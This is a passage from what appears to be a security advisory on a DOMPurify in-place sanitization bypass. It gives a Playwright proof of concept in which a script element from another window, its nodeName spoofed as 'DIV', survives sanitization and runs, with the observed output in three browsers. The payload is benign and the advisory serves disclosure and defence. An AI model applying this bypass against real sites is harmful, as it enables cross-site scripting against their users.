\n\n\n window.__pwned = 0;\n document.body.appendChild(host);\n console.log('handler fired:', window.__pwned === 1); // true\n\n\n```\n\n### (2) End-to-end — Playwright\n\n```js\nconst { chromium } = require('playwright');\nconst path = require('path');\n\n(async () => {\n const browser = await chromium.launch();\n const page = await browser.newPage();\n await page.goto('about:blank');\n await page.addScriptTag({ path: path.resolve('dist/purify.js') });\n\n const result = await page.evaluate(async () => {\n window.__hits = [];\n\n const foreign = window.open('about:blank', '_blank', 'noopener=no');\n const host = foreign.document.createElement('div');\n const script = foreign.document.createElement('script');\n script.textContent = 'top.__hits.push(\"script-fired\")';\n Object.defineProperty(script, 'nodeName', {\n value: 'DIV',\n configurable: true,\n });\n host.appendChild(script);\n\n DOMPurify.sanitize(host, { IN_PLACE: true });\n document.body.appendChild(host);\n\n return {\n version: DOMPurify.version,\n output: host.outerHTML,\n fired: window.__hits.includes('script-fired'),\n };\n });\n\n console.log(result);\n await browser.close();\n})();\n```\n\nObserved:\n\n- Chromium / Firefox / WebKit\n\n```js\n{\n version: '3.4.6',\n output: '
',\n fired: true\n}\n```\n\n## Impact\n\n### Direct\n\nXSS via retained real `

Loading vulnerability details...